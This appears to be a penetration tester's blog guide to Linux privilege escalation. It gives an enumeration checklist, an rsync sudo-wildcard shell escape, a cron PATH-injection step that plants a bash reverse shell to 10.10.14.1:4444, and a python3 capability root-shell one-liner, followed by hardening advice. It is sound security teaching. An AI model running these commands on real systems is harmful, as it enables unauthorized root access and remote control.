Linux Privilege Escalation: A Field Guide That Actually Sticks

The Mindset Before the Methodology

I've done hundreds of Linux boxes on engagements and platforms. The admins who say "we're patched, we're safe" forget that 80% of the privesc paths I use don't require a CVE. They require misconfiguration — and misconfigurations are everywhere.

The Checklist I Actually Run

# Who am I, what groups?
id && groups

# Sudo rights — the goldmine
sudo -l

# SUID binaries (check GTFOBins for each)
find / -perm -4000 -type f 2>/dev/null

# Writable cron jobs
ls -la /etc/cron* /var/spool/cron/crontabs/

# World-writable files owned by root
find / -writable -user root -not -path "/proc/*" 2>/dev/null

# Capabilities
/sbin/getcap -r / 2>/dev/null

# Running services as root
ps aux | grep root

Sudo Wildcards: Underestimated

# /etc/sudoers
deploy ALL=(root) NOPASSWD: /usr/bin/rsync *

sudo rsync -e 'sh -p -c "sh 0<&2 1>&2"' foo@bar:foo /tmp/

PATH Injection via Cron

A cron job running as root calling a relative command is instant game over:

echo '#!/bin/bash' > /usr/local/bin/backup
echo 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1' >> /usr/local/bin/backup
chmod +x /usr/local/bin/backup

Capabilities Are the New SUID

cap_setuid+ep on python3 is as good as SUID root:

python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Defensive Takeaways

• Audit sudo -l for every service account in your environment
• Remove SUID bits from binaries that don't need them: chmod u-s /usr/bin/find
• Cron jobs should use full paths, and the scripts they call should be root-owned
• getcap output should be in your weekly hardening report